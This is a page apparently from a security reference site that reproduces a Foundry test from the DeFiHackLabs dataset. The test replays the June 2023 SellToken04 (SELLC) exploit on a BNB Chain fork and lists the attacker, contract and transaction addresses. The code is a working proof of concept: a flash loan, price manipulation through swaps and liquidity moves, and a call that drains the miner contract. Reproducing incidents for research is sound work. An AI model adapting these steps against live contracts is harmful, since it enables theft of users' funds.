Public reproduction file
src/test/2023-06/SELLC03_exp.sol
Public reproduction file for dataset entry SellToken04.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : unclear US$8// Attacker : https://bscscan.com/address/0x0060129430df7ea188be3d8818404a2d408960899// Attack Contract : https://bscscan.com/address/0x2cc392c0207d080aec0befe5272659d3bb8a705210// Vulnerable Contract : https://bscscan.com/address/0x84Be9475051a08ee5364fBA44De7FE83a5eCC4f111// Attack Tx : https://bscscan.com/tx/0xe968e648b2353cea06fc3da39714fb964b9354a1ee05750a3c5cc118da23444b13// @Info14// Vulnerable Contract Code : https://bscscan.com/address/0x84Be9475051a08ee5364fBA44De7FE83a5eCC4f1#code16// @Analysis17// Twitter Guy : https://twitter.com/EoceneSecurity/status/166846893372332851319interface Miner {20 function setBNB(address token, address token1) external payable;21 function sendMiner(22 address token23 ) external;24}26contract ContractTest is Test {27 IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);28 IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);29 IERC20 SELLC = IERC20(0xa645995e9801F2ca6e2361eDF4c2A138362BADe4);30 Miner miner = Miner(0x84Be9475051a08ee5364fBA44De7FE83a5eCC4f1);31 Uni_Pair_V2 SELLC_USDT = Uni_Pair_V2(0x9523B023E1D2C490c65D26fad3691b024d0305D7);32 Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);33 IDPPOracle oracle = IDPPOracle(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);34 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);36 function setUp() public {37 cheats.createSelectFork("bsc", 29_005_754);38 cheats.label(address(WBNB), "WBNB");39 cheats.label(address(USDT), "USDT");40 cheats.label(address(SELLC), "SELLC");41 cheats.label(address(SELLC_USDT), "SELLC_USDT");42 cheats.label(address(Router), "Router");43 WBNB.approve(address(Router), type(uint256).max);44 USDT.approve(address(Router), type(uint256).max);45 SELLC.approve(address(Router), type(uint256).max);46 SELLC_USDT.approve(address(Router), type(uint256).max);47 }49 function testExploit() public {50 miner.setBNB{value: 0.01 ether}(address(SELLC), address(USDT));51 cheats.warp(block.timestamp + 1 * 86_400 + 1);52 oracle.flashLoan(600 * 1e18, 0, address(this), new bytes(1));53 emit log_named_decimal_uint(54 "[End] Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), WBNB.decimals()55 );56 }58 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {59 address[] memory path = new address[](2);60 path[0] = address(WBNB);61 path[1] = address(SELLC);62 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(63 200 * 1e18, 0, path, address(this), block.timestamp64 );65 path[0] = address(SELLC);66 path[1] = address(USDT);67 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(68 SELLC.balanceOf(address(this)) * 1 / 100, 0, path, address(this), block.timestamp69 );70 Router.addLiquidity(71 address(SELLC),72 address(USDT),73 SELLC.balanceOf(address(this)),74 USDT.balanceOf(address(this)),75 0,76 0,77 address(this),78 block.timestamp79 ); // add SELLC-USDT Liquidity80 path[0] = address(WBNB);81 path[1] = address(SELLC);82 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(83 400 * 1e18, 0, path, address(this), block.timestamp84 );85 miner.sendMiner(address(SELLC));86 Router.removeLiquidity(87 address(SELLC), address(USDT), SELLC_USDT.balanceOf(address(this)), 0, 0, address(this), block.timestamp88 ); // remove SELLC-USDT Liquidity89 path[0] = address(SELLC);90 path[1] = address(WBNB);91 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(92 SELLC.balanceOf(address(this)), 0, path, address(this), block.timestamp93 );94 WBNB.transfer(address(oracle), 600 * 1e18);95 }96}Analysis
Dataset entry
Public Foundry test for “SellToken04” (2023-06-11). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
21 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-06/ARA_exp.solSame month in the dataset · 110 lines
- src/test/2023-06/BabyDogeCoin02_exp.solSame month in the dataset · 225 lines
- src/test/2023-06/Biswap_exp.solSame month in the dataset · 244 lines
- src/test/2023-06/Cellframe_exp.solSame month in the dataset · 170 lines
- src/test/2023-06/CFC_exp.solSame month in the dataset · 123 lines
- src/test/2023-06/CompounderFinance_exp.solSame month in the dataset · 124 lines
- src/test/2023-06/Contract_0x7657_exp.solSame month in the dataset · 54 lines
- src/test/2023-06/DDCoin_exp.solSame month in the dataset · 151 lines
- src/test/2023-06/DEPUSDT_LEVUSDC_exp.solSame month in the dataset · 59 lines
- src/test/2023-06/MidasCapitalXYZ_exp.solSame month in the dataset · 194 lines
- src/test/2023-06/MIMSpell_exp.solSame month in the dataset · 110 lines
- src/test/2023-06/MyAi_exp.solSame month in the dataset · 73 lines
- src/test/2023-06/NST_exp.solSame month in the dataset · 65 lines
- src/test/2023-06/Pawnfi_exp.solSame month in the dataset · 248 lines
- src/test/2023-06/SHIDO_exp.solSame month in the dataset · 107 lines
- src/test/2023-06/STRAC_exp.solSame month in the dataset · 54 lines
- src/test/2023-06/Sturdy_exp.solSame month in the dataset · 339 lines
- src/test/2023-06/Themis_exp.solSame month in the dataset · 266 lines
- src/test/2023-06/UN_exp.solSame month in the dataset · 68 lines
- src/test/2023-06/UnverifiedContr_9ad32_exp.solSame month in the dataset · 41 lines
- src/test/2023-06/VINU_exp.solSame month in the dataset · 106 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x0060129430df7ea188be3d8818404a2d40896089
- Attack Contract
0x2cc392c0207d080aec0befe5272659d3bb8a7052
- Vulnerable Contract
0x84be9475051a08ee5364fba44de7fe83a5ecc4f1
- Attack Tx
0xe968e648b2353cea06fc3da39714fb964b9354a1ee05750a3c5cc118da23444b
- Twitter: https://twitter.com/EoceneSecurity/status/1668468933723328513
- Explorer: https://bscscan.com/address/0x0060129430df7ea188be3d8818404a2d40896089
- Explorer: https://bscscan.com/address/0x2cc392c0207d080aec0befe5272659d3bb8a7052
- Explorer: https://bscscan.com/address/0x84Be9475051a08ee5364fBA44De7FE83a5eCC4f1
- Explorer: https://bscscan.com/address/0x84Be9475051a08ee5364fBA44De7FE83a5eCC4f1#code
File record
- Name
- SellToken04
- Path
- src/test/2023-06/SELLC03_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- ba1b5d087435d0ba829bf756c4d408c91db1d948
- Language
- Solidity
- Size
- 97 lines
- Date
- 2023-06-11
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-06/SELLC03_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob ba1b5d087435d0ba829bf756c4d408c91db1d948, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.